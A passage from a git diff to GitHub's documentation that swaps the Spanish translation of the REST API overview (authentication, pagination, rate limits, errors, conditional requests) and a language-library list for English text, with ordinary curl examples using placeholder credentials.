+|**github-flask**|[github-flask (Official Website)](http://github-flask.readthedocs.org)| +|**torngithub**|[jkeylu/torngithub](https://github.com/jkeylu/torngithub)| ### Ruby -| Nombre de la librería | Repositorio | -| ---------------------------- | ------------------------------------------------------------- | -| **Gema de la API de GitHub** | [peter-murach/github](https://github.com/peter-murach/github) | -| **Ghee** | [rauhryan/ghee](https://github.com/rauhryan/ghee) | +| Library name | Repository | +|---|---| +|**GitHub API Gem**|[peter-murach/github](https://github.com/peter-murach/github)| +|**Ghee**|[rauhryan/ghee](https://github.com/rauhryan/ghee)| ### Rust -| Nombre de la librería | Repositorio | -| --------------------- | ------------------------------------------------------------- | -| **Octocrab** | [XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab) | +| Library name | Repository | +|---|---| +|**Octocrab**|[XAMPPRocky/octocrab](https://github.com/XAMPPRocky/octocrab)| ### Scala -| Nombre de la librería | Repositorio | -| --------------------- | ------------------------------------------------------- | -| **Hubcat** | [softprops/hubcat](https://github.com/softprops/hubcat) | -| **Github4s** | [47deg/github4s](https://github.com/47deg/github4s) | +| Library name | Repository | +|---|---| +|**Hubcat**|[softprops/hubcat](https://github.com/softprops/hubcat)| +|**Github4s**|[47deg/github4s](https://github.com/47deg/github4s)| ### Shell -| Nombre de la librería | Repositorio | -| --------------------- | ----------------------------------------------------- | -| **ok.sh** | [whiteinge/ok.sh](https://github.com/whiteinge/ok.sh) | +| Library name | Repository | +|---|---| +|**ok.sh**|[whiteinge/ok.sh](https://github.com/whiteinge/ok.sh)| diff --git a/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md b/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md index b3232d51a0..d3ebb7c1e2 100644 --- a/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md +++ b/translations/es-ES/content/rest/overview/resources-in-the-rest-api.md @@ -1,5 +1,5 @@ --- -title: Recursos en la API de REST +title: Resources in the REST API intro: 'Learn how to navigate the resources provided by the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.' redirect_from: - /rest/initialize-the-repo/ @@ -13,11 +13,12 @@ topics: --- -Esto describe los recursos que conforman la API de REST oficial de {% data variables.product.product_name %}. Si tienes cualquier tipo de problema o solicitud, por favor contacta a {% data variables.contact.contact_support %}. +This describes the resources that make up the official {% data variables.product.product_name %} REST API. If you have any problems or requests, please contact {% data variables.contact.contact_support %}. -## Versión actual +## Current version -Predeterminadamente, todas las solicitudes a `{% data variables.product.api_url_code %}` reciben la [versión](/developers/overview/about-githubs-apis)**v3** de la API de REST. Te alentamos a [solicitar explícitamente esta versión a través del encabezado `Aceptar`](/rest/overview/media-types#request-specific-version). +By default, all requests to `{% data variables.product.api_url_code %}` receive the **v3** [version](/developers/overview/about-githubs-apis) of the REST API. +We encourage you to [explicitly request this version via the `Accept` header](/rest/overview/media-types#request-specific-version). Accept: application/vnd.github.v3+json @@ -27,10 +28,10 @@ For information about GitHub's GraphQL API, see the [v4 documentation]({% ifvers {% endif %} -## Modelo +## Schema -{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`. Todos los datos se -envían y reciben como JSON. +{% ifversion fpt or ghec %}All API access is over HTTPS, and{% else %}The API is{% endif %} accessed from `{% data variables.product.api_url_code %}`. All data is +sent and received as JSON. ```shell $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs @@ -51,43 +52,55 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat/orgs > X-Content-Type-Options: nosniff ``` -Los campos en blanco se incluyen como `null` en vez de omitirse. +Blank fields are included as `null` instead of being omitted. All timestamps return in UTC time, ISO 8601 format: - AAAA-MM-DDTHH:MM:SSZ + YYYY-MM-DDTHH:MM:SSZ -Para obtener más información acerca de las zonas horarias en las marcas de tiempo, consulta [esta sección](#timezones). +For more information about timezones in timestamps, see [this section](#timezones). -### Representaciones de resumen +### Summary representations -Cuando recuperas una lista de recursos, la respuesta incluye un _subconjunto_ de los atributos para ese recurso. Esta es la representación "resumen" del recurso. (Algunos atributos son caros en términos de cómputo para que la API los proporcione. Por razones de rendimiento, la representación de resumen excluye esos atributos. Para obtener estos atributos, recupera la representación "detallada"). +When you fetch a list of resources, the response includes a _subset_ of the +attributes for that resource. This is the "summary" representation of the +resource. (Some attributes are computationally expensive for the API to provide. +For performance reasons, the summary representation excludes those attributes. +To obtain those attributes, fetch the "detailed" representation.) -**Ejemplo**: Cuando obtienes una lista de repositorios, obtienes la representación de resumen de cada uno de ellos. Aquí, recuperamos la lista de repositorios que pertenecen a la organización [octokit](https://github.com/octokit): +**Example**: When you get a list of repositories, you get the summary +representation of each repository. Here, we fetch the list of repositories owned +by the [octokit](https://github.com/octokit) organization: GET /orgs/octokit/repos -### Representaciones detalladas +### Detailed representations -Cuando recuperas un recurso individual, la respuesta incluye habitualmente _todos_ los atributos para ese recurso. Esta es la representación "detallada" del recurso. (Nota que la autorización algunas veces influencia la cantidad de detalles que se incluyen en la representación). +When you fetch an individual resource, the response typically includes _all_ +attributes for that resource. This is the "detailed" representation of the +resource. (Note that authorization sometimes influences the amount of detail +included in the representation.) -**Ejemplo**: Cuando obtienes un repositorio individual, obtienes la representación detallada del repositorio. Aquí, recuperamos el repositorio [octokit/octokit.rb](https://github.com/octokit/octokit.rb): +**Example**: When you get an individual repository, you get the detailed +representation of the repository. Here, we fetch the +[octokit/octokit.rb](https://github.com/octokit/octokit.rb) repository: GET /repos/octokit/octokit.rb -La documentación proporciona un ejemplo de respuesta para cada método de la API. La respuesta de ejemplo ilustra todos los atributos que se regresan con ese método. +The documentation provides an example response for each API method. The example +response illustrates all attributes that are returned by that method. -## Autenticación +## Authentication -{% ifversion ghae %} Te recomendamos autenticarte en la API de REST de {% data variables.product.product_name %} creando un token de OAuth2 a través del [flujo de aplicaciones web](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} Hay dos formas de autenticarse a través de la API de REST de {% data variables.product.product_name %}.{% endif %} Las solicitudes que requieren autenticación devolverán un `404 Not Found`, en vez de un `403 Forbidden`, en algunos lugares. Esto es para prevenir la fuga accidental de los repositorios privados a los usuarios no autorizados. +{% ifversion ghae %} We recommend authenticating to the {% data variables.product.product_name %} REST API by creating an OAuth2 token through the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow). {% else %} There are two ways to authenticate through {% data variables.product.product_name %} REST API.{% endif %} Requests that require authentication will return `404 Not Found`, instead of `403 Forbidden`, in some places. This is to prevent the accidental leakage of private repositories to unauthorized users. -### Autenticación básica +### Basic authentication ```shell $ curl -u "username" {% data variables.product.api_url_pre %} ``` -### Token de OAuth (enviado en un encabezado) +### OAuth2 token (sent in a header) ```shell $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product.api_url_pre %} @@ -95,14 +108,14 @@ $ curl -H "Authorization: token OAUTH-TOKEN" {% data variables.product. {% note %} -Nota: GitHub recomienda enviar los tokens de OAuth utilizando el encabezado de autorización. +Note: GitHub recommends sending OAuth tokens using the Authorization header. {% endnote %} -Lee [más acerca de OAuth2](/apps/building-oauth-apps/). Nota que los tokens de OAuth2 pueden adquirirse utilizando el [flujo de aplicaciones web](/developers/apps/authorizing-oauth-apps#web-application-flow) para las aplicaciones productivas. +Read [more about OAuth2](/apps/building-oauth-apps/). Note that OAuth2 tokens can be acquired using the [web application flow](/developers/apps/authorizing-oauth-apps#web-application-flow) for production applications. {% ifversion fpt or ghes or ghec %} -### Llave/secreto de OAuth2 +### OAuth2 key/secret {% data reusables.apps.deprecating_auth_with_query_parameters %} @@ -110,22 +123,22 @@ Lee [más acerca de OAuth2](/apps/building-oauth-apps/). Nota que los tokens de curl -u my_client_id:my_client_secret '{% data variables.product.api_url_pre %}/user/repos' ``` -El utilizar tu `client_id` y `client_secret` _no_ te autentica como un usuario, únicamente identifica tu aplicación de OAuth para incrementar tu límite de tasa. Los permisos se otorgan únicamente a usuarios, no a aplicaciones, y úicamente obtendrás datos que un usuario no autenticado vería. Es por esto que deberías utilizar únicamente la llave/secreto de OAuth2 en escenarios de servidor a servidor. No compartas el secreto de cliente de tu aplicación de OAuth con tus usuarios. +Using your `client_id` and `client_secret` does _not_ authenticate as a user, it will only identify your OAuth application to increase your rate limit. Permissions are only granted to users, not applications, and you will only get back data that an unauthenticated user would see. For this reason, you should only use the OAuth2 key/secret in server-to-server scenarios. Don't leak your OAuth application's client secret to your users. {% ifversion ghes %} -No podrás autenticarte utilizndo tu llave y secreto de OAuth2 si estás en modo privado, y el intentarlo regresará el mensaje `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)". +You will be unable to authenticate using your OAuth2 key and secret while in private mode, and trying to authenticate will return `401 Unauthorized`. For more information, see "[Enabling private mode](/admin/configuration/configuring-your-enterprise/enabling-private-mode)". {% endif %} {% endif %} {% ifversion fpt or ghec %} -Lee [más acerca de limitar la tasa de no autenticación](#increasing-the-unauthenticated-rate-limit-for-oauth-applications). +Read [more about unauthenticated rate limiting](#increasing-the-unauthenticated-rate-limit-for-oauth-applications). {% endif %} -### Límite de ingresos fallidos +### Failed login limit -Autenticarse con credenciales inválidas regresará el mensaje `401 Unauthorized`: +Authenticating with invalid credentials will return `401 Unauthorized`: ```shell $ curl -I {% data variables.product.api_url_pre %} -u foo:bar @@ -137,7 +150,9 @@ $ curl -I {% data variables.product.api_url_pre %} -u foo:bar > } ``` -Después de detectar varias solicitudes con credenciales inválidas dentro de un periodo de tiempo corto, la API rechazará temporalmente todos los intentos de autenticación para el usuario en cuestión (incluyendo aquellos con credenciales válidas) con el mensaje `403 Forbidden`: +After detecting several requests with invalid credentials within a short period, +the API will temporarily reject all authentication attempts for that user +(including ones with valid credentials) with `403 Forbidden`: ```shell $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae or ghec %} @@ -149,59 +164,66 @@ $ curl -i {% data variables.product.api_url_pre %} -u {% ifversion fpt or ghae o > } ``` -## Parámetros +## Parameters -Muchos métodos de la API toman parámetros opcionales. Para las solicitudes de tipo `GET`, cualquier parámetro que no se haya especificado como un segmento en la ruta puede pasarse como un parámetro de secuencia de consulta HTTP: +Many API methods take optional parameters. For `GET` requests, any parameters not +specified as a segment in the path can be passed as an HTTP query string +parameter: ```shell $ curl -i "{% data variables.product.api_url_pre %}/repos/vmg/redcarpet/issues?state=closed" ``` -En este ejemplo, los valores 'vmg' and 'redcarpet' se proporcionan para los parámetros `:owner` y `:repo` en la ruta mientras que se pasa a `:state` en la secuencia de la consulta. +In this example, the 'vmg' and 'redcarpet' values are provided for the `:owner` +and `:repo` parameters in the path while `:state` is passed in the query +string. -Para las solicitudes de tipo `POST`, `PATCH`, `PUT`, and `DELETE`, los parámetros que no se incluyen en la URL deben codificarse como JSON con un Content-Type de 'application/json': +For `POST`, `PATCH`, `PUT`, and `DELETE` requests, parameters not included in the URL should be encoded as JSON +with a Content-Type of 'application/json': ```shell $ curl -i -u username -d '{"scopes":["repo_deployment"]}' {% data variables.product.api_url_pre %}/authorizations ``` -## Terminal raíz +## Root endpoint -Puedes emitir una solicitud de tipo `GET` a la terminal raíz para obtener todas las categorías de la terminal que son compatibles con la API de REST: +You can issue a `GET` request to the root endpoint to get all the endpoint categories that the REST API supports: ```shell $ curl {% ifversion fpt or ghae or ghec %} -u username:token {% endif %}{% ifversion ghes %}-u username:password {% endif %}{% data variables.product.api_url_pre %} ``` -## IDs de nodo globales de GraphQL +## GraphQL global node IDs See the guide on "[Using Global Node IDs]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/using-global-node-ids)" for detailed information about how to find `node_id`s via the REST API and use them in GraphQL operations. -## Errores de cliente +## Client errors -Existen tres posibles tipos de errores de cliente en los llamados a la API que reciben cuerpos de solicitud: +There are three possible types of client errors on API calls that +receive request bodies: + +1. Sending invalid JSON will result in a `400 Bad Request` response. -1. Enviar un JSON inválido dará como resultado una respuesta de tipo `400 Bad Request`. - HTTP/2 400 Content-Length: 35 - + {"message":"Problems parsing JSON"} -2. Enviar el tipo incorrecto de valores de JSON dará como resultado una respuesta de tipo `400 Bad -Request`. - +2. Sending the wrong type of JSON values will result in a `400 Bad + Request` response. + HTTP/2 400 Content-Length: 40 - + {"message":"Body should be a JSON object"} -3. Enviar campos inválidos dará como resultado una respuesta de tipo `422 Unprocessable Entity`. - +3. Sending invalid fields will result in a `422 Unprocessable Entity` + response. + HTTP/2 422 Content-Length: 149 - + { "message": "Validation Failed", "errors": [ @@ -213,121 +235,144 @@ Request`. ] } -Todos los objetos de error tienen propiedades de campo y de recurso para que tu cliente pueda ubicar el problema. También hay un código de error para que sepas qué es lo que está mal con el campo. Estos son los posibles códigos de error de validación: +All error objects have resource and field properties so that your client +can tell what the problem is. There's also an error code to let you +know what is wrong with the field. These are the possible validation error +codes: -| Nombre del código de error | Descripción | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | -| `missing` | Un recurso no existe. | -| `missing_field` | No se ha configurado un campo requerido en un recurso. | -| `no válida` | El formato de un campo es inválido. Revisa la documentación para encontrar información más específica. | -| `already_exists` | Otro recurso tiene el mismo valor que este campo. Esto puede suceder en recursos que deben tener claves únicas (tales como nombres de etiqueta). | -| `unprocessable` | Las entradas proporcionadas son inválidas. | +Error code name | Description +-----------|-----------| +`missing` | A resource does not exist. +`missing_field` | A required field on a resource has not been set. +`invalid` | The formatting of a field is invalid. Review the documentation for more specific information. +`already_exists` | Another resource has the same value as this field. This can happen in resources that must have some unique key (such as label names). +`unprocessable` | The inputs provided were invalid. -Los recursos también podría enviar errores de validación personalizados (en donde `code` sea `custom`). Los errores personalizados siempre tendrán un campo de `message` que describa el error, y muchos de los errores también incluirán un campo de `documentation_url` que apunte a algún tipo de contenido que te pueda ayudar a resolver el error. +Resources may also send custom validation errors (where `code` is `custom`). Custom errors will always have a `message` field describing the error, and most errors will also include a `documentation_url` field pointing to some content that might help you resolve the error. -## Redireccionamientos HTTP +## HTTP redirects -La API v3 utiliza redireccionamientos HTTP cuando sea adecuado. Los clientes deberán asumir que cualquier solicitud podría resultar en un redireccionamiento. Recibir un redireccionamiento HTTP *no* es un error y los clientes deberán seguirlo. Las respuestas de redireccionamiento tendrán un campo de encabezado de tipo `Location` que contendrá el URI del recurso al cual el cliente deberá repetir la solicitud. +API v3 uses HTTP redirection where appropriate. Clients should assume that any +request may result in a redirection. Receiving an HTTP redirection is *not* an +error and clients should follow that redirect. Redirect responses will have a +`Location` header field which contains the URI of the resource to which the +client should repeat the requests. -| Código de estado | Descripción | -| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `301` | Redirección permanente. El URI que utilizaste para hacer la solicitud se reemplazó con aquél especificado en el campo de encabezado `Location`. Ésta y todas las solicitudes futuras a este recurso se deberán dirigir al nuevo URI. | -| `302`, `307` | Redireccion temporal. La solicitud deberá repetirse literalmente al URI especificado en el campo de encabezado `Location`, pero los clientes deberán seguir utilizando el URI original para solicitudes futuras. | +Status Code | Description +-----------|-----------| +`301` | Permanent redirection. The URI you used to make the request has been superseded by the one specified in the `Location` header field. This and all future requests to this resource should be directed to the new URI. +`302`, `307` | Temporary redirection. The request should be repeated verbatim to the URI specified in the `Location` header field but clients should continue to use the original URI for future requests. -Podrían utilizarse otros códigos de estado de redirección de acuerdo con la especificación HTTP 1.1. +Other redirection status codes may be used in accordance with the HTTP 1.1 spec. -## Verbos HTTP +## HTTP verbs -Cuando sea posible, la API v3 intentará utilizar los verbos HTTP adecuados para cada acción. +Where possible, API v3 strives to use appropriate HTTP verbs for each +action. -| Verbo | Descripción | -| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `HEAD` | Puede emitirse contra cualquier recurso para obtener solo la información del encabezado HTTP. | -| `GET` | Se utiliza para recuperar recursos. | -| `POST` | Se utiliza para crear recursos. | -| `PATCH` | Se utiliza para actualizar los recursos con datos parciales de JSON. Por ejemplo, un recurso de emisión tiene los atributos `title` y `body`. Una solicitud de `PATCH` podría aceptar uno o más de los atributos para actualizar el recurso. | -| `PUT` | Se utiliza para reemplazar recursos o colecciones. Para las solicitudes de `PUT` sin el atributo `body`, asegúrate de configurar el encabezado `Content-Length` en cero. | -| `DELETE` | Se utiliza para borrar recursos. | +Verb | Description +-----|----------- +`HEAD` | Can be issued against any resource to get just the HTTP header info. +`GET` | Used for retrieving resources. +`POST` | Used for creating resources. +`PATCH` | Used for updating resources with partial JSON data. For instance, an Issue resource has `title` and `body` attributes. A `PATCH` request may accept one or more of the attributes to update the resource. +`PUT` | Used for replacing resources or collections. For `PUT` requests with no `body` attribute, be sure to set the `Content-Length` header to zero. +`DELETE` |Used for deleting resources. ## Hypermedia -Todos los recursos pueden tener una o más propiedades de `*_url` que los enlacen con otros recursos. Estos pretenden proporcionar las URL explícitas para que los clientes adecuados de la API no tengan que construir las URL por ellos mismos. Se recomienda ampliamente que los clientes de la API los utilicen. El hacerlo facilitará a los desarrolladores el realizar mejoras futuras a la API. Se espera que todas las URL sean plantillas de URI [RFC 6570][rfc] adecuadas. +All resources may have one or more `*_url` properties linking to other +resources. These are meant to provide explicit URLs so that proper API clients +don't need to construct URLs on their own. It is highly recommended that API +clients use these. Doing so will make future upgrades of the API easier for +developers. All URLs are expected to be proper [RFC 6570][rfc] URI templates. -Puedes entonces expandir estas plantillas utilizando algo como la gema [uri_template][uri]: +You can then expand these templates using something like the [uri_template][uri] +gem: >> tmpl = URITemplate.new('/notifications{?since,all,participating}') >> tmpl.expand => "/notifications" - + >> tmpl.expand :all => 1 => "/notifications?all=1" - + >> tmpl.expand :all => 1, :participating => 1 => "/notifications?all=1&participating=1" -## Paginación +[rfc]: https://datatracker.ietf.org/doc/html/rfc6570 +[uri]: https://github.com/hannesg/uri_template -Las solicitudes que recuperan varios elementos se paginarán a 30 elementos predeterminadamente. Puedes especificar páginas subsecuentes con el parámetro `page`. Para algunos recursos, también puedes configurar un tamaño de página personalizado de hasta 100 de ellos con el parámetro `per_page`. Toma en cuenta que, por razones técnicas, no todas las terminales respetan el parámetro `per_page`, consulta la sección de [eventos](/rest/reference/activity#events) por ejemplo. +## Pagination + +Requests that return multiple items will be paginated to 30 items by +default. You can specify further pages with the `page` parameter. For some +resources, you can also set a custom page size up to 100 with the `per_page` parameter. +Note that for technical reasons not all endpoints respect the `per_page` parameter, +see [events](/rest/reference/activity#events) for example. ```shell $ curl '{% data variables.product.api_url_pre %}/user/repos?page=2&per_page=100' ``` -Toma en cuenta que la numeración comienza en 1 y que el omitir el parámetro `page` devolverá la primera página. +Note that page numbering is 1-based and that omitting the `page` +parameter will return the first page. -Algunas terminales utilizan una paginación basada en el cursor. Un cursor es una cadena que apunta a una ubicación en el conjunto de resultados. Con la paginación basada en un cursor, no existe un concepto fijo de "páginas" en el conjunto de resultados, así que no puedes navegar a alguna página específica. En vez de esto, puedes recorrer los resultados utilizando los parámetros `before` o `after`. +Some endpoints use cursor-based pagination. A cursor is a string that points to a location in the result set. +With cursor-based pagination, there is no fixed concept of "pages" in the result set, so you can't navigate to a specific page. +Instead, you can traverse the results by using the `before` or `after` parameters. -Para obtener más información sobre la paginación, revisa nuestra guía sobre [Desplazarse con la paginación][pagination-guide]. +For more information on pagination, check out our guide on [Traversing with Pagination][pagination-guide]. -### Encabezado de enlace +### Link header {% note %} -**Nota:** Es importante formar llamados con valores de encabezado de enlace en vez de construir tus propias URL. +**Note:** It's important to form calls with Link header values instead of constructing your own URLs. {% endnote %} -El [Encabezado de enlace](https://datatracker.ietf.org/doc/html/rfc5988) incluye información de paginación. Por ejemplo: +The [Link header](https://datatracker.ietf.org/doc/html/rfc5988) includes pagination information. For example: Link: <{% data variables.product.api_url_code %}/user/repos?page=3&per_page=100>; rel="next", <{% data variables.product.api_url_code %}/user/repos?page=50&per_page=100>; rel="last" -_Este ejemplo incluye un salto de línea para legibilidad._ +_The example includes a line break for readability._ -O, si la terminal utiliza una paginación basada en un cursor: +Or, if the endpoint uses cursor-based pagination: Link: <{% data variables.product.api_url_code %}/orgs/ORG/audit-log?after=MTYwMTkxOTU5NjQxM3xZbGI4VE5EZ1dvZTlla09uWjhoZFpR&before=>; rel="next", -Este encabezado de respuesta de `Link` contiene una o más relaciones de enlace de [Hipermedios](/rest#hypermedia), algunos de los cuales podrían requerir de expansión, tales como las [Plantillas URI](https://datatracker.ietf.org/doc/html/rfc6570). +This `Link` response header contains one or more [Hypermedia](/rest#hypermedia) link relations, some of which may require expansion as [URI templates](https://datatracker.ietf.org/doc/html/rfc6570). -Los valores de `rel` posibles son: +The possible `rel` values are: -| Nombre | Descripción | -| ------- | -------------------------------------------------------------------------- | -| `next` | La relación del enlace para la página subsecuente inmediata de resultados. | -| `last` | La relación del enlace para la última página de resultados. | -| `first` | La relación del enlace para la primera parte de los resultados. | -| `prev` | La relación del enlace para la página previa inmediata de resultados. | +Name | Description +-----------|-----------| +`next` |The link relation for the immediate next page of results. +`last` |The link relation for the last page of results. +`first` |The link relation for the first page of results. +`prev` |The link relation for the immediate previous page of results. -## Limitación de tasas +## Rate limiting -Para las solicitudes de la API que utilizan Autenticación Básica u OAuth, puedes hacer hasta 5,000 solicitudes por hora. Las solicitudes autenticadas se asocian con el usuario autenticado, sin importar si se utilizó [Autenticación Básica](#basic-authentication) o [un token OAuth](#oauth2-token-sent-in-a-header). Esto significa que todas las aplicaciones de OAuth que autorice un usuario compartirán la misma cuota de 5,000 solicitudes por hora cuando se autentiquen con tokens diferentes que pertenezcan al mismo usuario. +For API requests using Basic Authentication or OAuth, you can make up to 5,000 requests per hour. Authenticated requests are associated with the authenticated user, regardless of whether [Basic Authentication](#basic-authentication) or [an OAuth token](#oauth2-token-sent-in-a-header) was used. This means that all OAuth applications authorized by a user share the same quota of 5,000 requests per hour when they authenticate with different tokens owned by the same user. {% ifversion fpt or ghec %} -Para los usuarios que pertenezcan a una cuenta de {% data variables.product.prodname_ghe_cloud %}, las solicitudes que se hacen utilizando un token de OAuth para los recursos que pertenecen a la misma cuenta de {% data variables.product.prodname_ghe_cloud %} tienen un límite incrementado de 15,000 solicitudes por hora. +For users that belong to a {% data variables.product.prodname_ghe_cloud %} account, requests made using an OAuth token to resources owned by the same {% data variables.product.prodname_ghe_cloud %} account have an increased limit of 15,000 requests per hour. {% endif %} -Cuando utilizas el `GITHUB_TOKEN` integrado en GitHub Actions, el límite de tasa es de 1,000 solicitudes por hora por repositorio. Para las organizaciones que pertenecen a una cuenta de GitHub Enterprise Cloud, este límite será de 15,000 solicitudes por hora por repositorio. +When using the built-in `GITHUB_TOKEN` in GitHub Actions, the rate limit is 1,000 requests per hour per repository. For organizations that belong to a GitHub Enterprise Cloud account, this limit is 15,000 requests per hour per repository. -Para las solicitudes no autenticadas, el límite de tasa permite hasta 60 solicitudes por hora. Las solicitudes no autenticadas se asocian con la dirección IP que las origina, y no con el usuario que realiza la solicitud. +For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the user making requests. {% data reusables.enterprise.rate_limit %} -Nota que [la API de búsqueda tiene reglas personalizadas de límite de tasa](/rest/reference/search#rate-limit). +Note that [the Search API has custom rate limit rules](/rest/reference/search#rate-limit). -Los encabezados HTTP recuperados para cualquier solicitud de la API muestran tu estado actual de límite de tasa: +The returned HTTP headers of any API request show your current rate limit status: ```shell $ curl -I {% data variables.product.api_url_pre %}/users/octocat @@ -338,20 +383,20 @@ $ curl -I {% data variables.product.api_url_pre %}/users/octocat > X-RateLimit-Reset: 1372700873 ``` -| Nombre del Encabezado | Descripción | -| ----------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| `X-RateLimit-Limit` | La cantidad máxima de solicitudes que puedes hacer por hora. | -| `X-RateLimit-Remaining` | La cantidad de solicitudes que quedan en la ventana de límite de tasa actual. | -| `X-RateLimit-Reset` | La hora en la que se restablecerá la ventana de límite de tasa actual en [segundos de tiempo satelital UTC](http://en.wikipedia.org/wiki/Unix_time). | +Header Name | Description +-----------|-----------| +`X-RateLimit-Limit` | The maximum number of requests you're permitted to make per hour. +`X-RateLimit-Remaining` | The number of requests remaining in the current rate limit window. +`X-RateLimit-Reset` | The time at which the current rate limit window resets in [UTC epoch seconds](http://en.wikipedia.org/wiki/Unix_time). -Si necesitas ver la hora en un formato diferente, cualquier lenguaje de programación moderno puede ayudarte con esta tarea. Por ejemplo, si abres la consola en tu buscador web, puedes obtener fácilmente el tiempo de restablecimiento como un objeto de Tiempo de JavaScript. +If you need the time in a different format, any modern programming language can get the job done. For example, if you open up the console on your web browser, you can easily get the reset time as a JavaScript Date object. ``` javascript new Date(1372700873 * 1000) // => Mon Jul 01 2013 13:47:53 GMT-0400 (EDT) ``` -Si excedes el límite de tasa, se regresará una respuesta de error: +If you exceed the rate limit, an error response returns: ```shell > HTTP/2 403 @@ -366,11 +411,11 @@ Si excedes el límite de tasa, se regresará una respuesta de error: > } ``` -Puedes [revisar tu estado de límite de tasa](/rest/reference/rate-limit) sin incurrir en una consulta de la API. +You can [check your rate limit status](/rest/reference/rate-limit) without incurring an API hit. -### Incrementar el límite de tasa de no autenticados para las aplicaciones de OAuth +### Increasing the unauthenticated rate limit for OAuth applications -Si tu aplicación de OAuth necesita hacer llamados no autenticados con un límite de tasa más alto, puedes pasar la ID de cliente y secreto de tu app ante la ruta de la terminal. +If your OAuth application needs to make unauthenticated calls with a higher rate limit, you can pass your app's client ID and secret before the endpoint route. ```shell $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %}/user/repos @@ -383,21 +428,21 @@ $ curl -u my_client_id:my_client_secret {% data variables.product.api_url_pre %} {% note %} -**Nota:** Jamás compartas tu secreto de cliente con nadie ni lo incluyas en el código de cara al cliente del buscador. Utiliza únicamente el método que se muestra aquí para las llamadas de servidor a servidor. +**Note:** Never share your client secret with anyone or include it in client-side browser code. Use the method shown here only for server-to-server calls. {% endnote %} -### Quedarse dentro del límite de tasa +### Staying within the rate limit -Si excedes tu límite de tasa utilizando Autenticación Básica u OAuth, es probable que puedas arreglar el problema si guardas en caché las respuestas de la API y utilizas [solicitudes condicionales](#conditional-requests). +If you exceed your rate limit using Basic Authentication or OAuth, you can likely fix the issue by caching API responses and using [conditional requests](#conditional-requests). -### Límites de tasa secundarios +### Secondary rate limits -Para prorpocionar un servicio de calidad en {% data variables.product.product_name %}, los límites de tasa adicionales podrían aplicar a algunas acciones cuando se utiliza la API. Por ejemplo, utilizar la API para crear contenido rápidamente, encuestar agresivamente en vez de utilizar webhooks, hacer solicitudes múltiples concurrentes, o solicitar repetidamente datos que son caros a nivel computacional, podría dar como resultado un límite de tasa secundaria. +In order to provide quality service on {% data variables.product.product_name %}, additional rate limits may apply to some actions when using the API. For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting. -No se pretende que los límites de tasa secundaria interfieran con el uso legítimo de la API. Tus límites de tasa habituales deben ser el único límite en el cual te enfoques. Para garantizar que estás actuando como un buen ciudadano de la API, revisa nuestros [lineamientos de mejores prácticas](/guides/best-practices-for-integrators/). +Secondary rate limits are not intended to interfere with legitimate use of the API. Your normal rate limits should be the only limit you target. To ensure you're acting as a good API citizen, check out our [Best Practices guidelines](/guides/best-practices-for-integrators/). -Si tu aplicación activa este límite de tasa, recibirás una respuesta informativa: +If your application triggers this rate limit, you'll receive an informative response: ```shell > HTTP/2 403 @@ -412,17 +457,19 @@ Si tu aplicación activa este límite de tasa, recibirás una respuesta informat {% ifversion fpt or ghec %} -## Se requiere un agente de usuario +## User agent required -Todas las solicitudes a la API DEBEN incluir un encabezado de `User-Agent` válido. Las solicitudes sin encabezado de `User-Agent` se rechazarán. Te solicitamos que utilices tu nombre de usuario de {% data variables.product.product_name %}, o el nombre de tu aplicación, para el valor del encabezado de `User-Agent`. Esto nos permite contactarte en caso de que haya algún problema. +All API requests MUST include a valid `User-Agent` header. Requests with no `User-Agent` +header will be rejected. We request that you use your {% data variables.product.product_name %} username, or the name of your +application, for the `User-Agent` header value. This allows us to contact you if there are problems. -Aquí hay un ejemplo: +Here's an example: ```shell User-Agent: Awesome-Octocat-App ``` -cURL envía un encabezado de `User-Agent` válido predeterminadamente. Si proporcionas un encabezado de `User-Agent` inválido a través de cURL (o a través de un cliente alterno), recibirás una respuesta de `403 Forbidden`: +cURL sends a valid `User-Agent` header by default. If you provide an invalid `User-Agent` header via cURL (or via an alternative client), you will receive a `403 Forbidden` response: ```shell $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta @@ -437,15 +484,20 @@ $ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta {% endif %} -## Solicitudes condicionales +## Conditional requests -La mayoría de las respuestas regresan un encabezado de `ETag`. Muchas de las respuestas también regresan un encabezado de `Last-Modified`. Puedes utilizar los valores de estos encabezados para hacer solicitudes subsecuentes a estos recursos utilizando los encabezados `If-None-Match` y `If-Modified-Since`, respectivamente. Si el recurso no ha cambiado, el servidor regresará un `304 Not Modified`. +Most responses return an `ETag` header. Many responses also return a `Last-Modified` header. You can use the values +of these headers to make subsequent requests to those resources using the +`If-None-Match` and `If-Modified-Since` headers, respectively. If the resource +has not changed, the server will return a `304 Not Modified`. {% ifversion fpt or ghec %} {% tip %} -**Nota**: Hacer una solicitud condicional y recibir una respuesta de tipo 304 no cuenta contra tu [Límite de Tasa](#rate-limiting), así que te alentamos a utilizarlo cuando sea posible. +**Note**: Making a conditional request and receiving a 304 response does not +count against your [Rate Limit](#rate-limiting), so we encourage you to use it +whenever possible. {% endtip %} @@ -482,11 +534,16 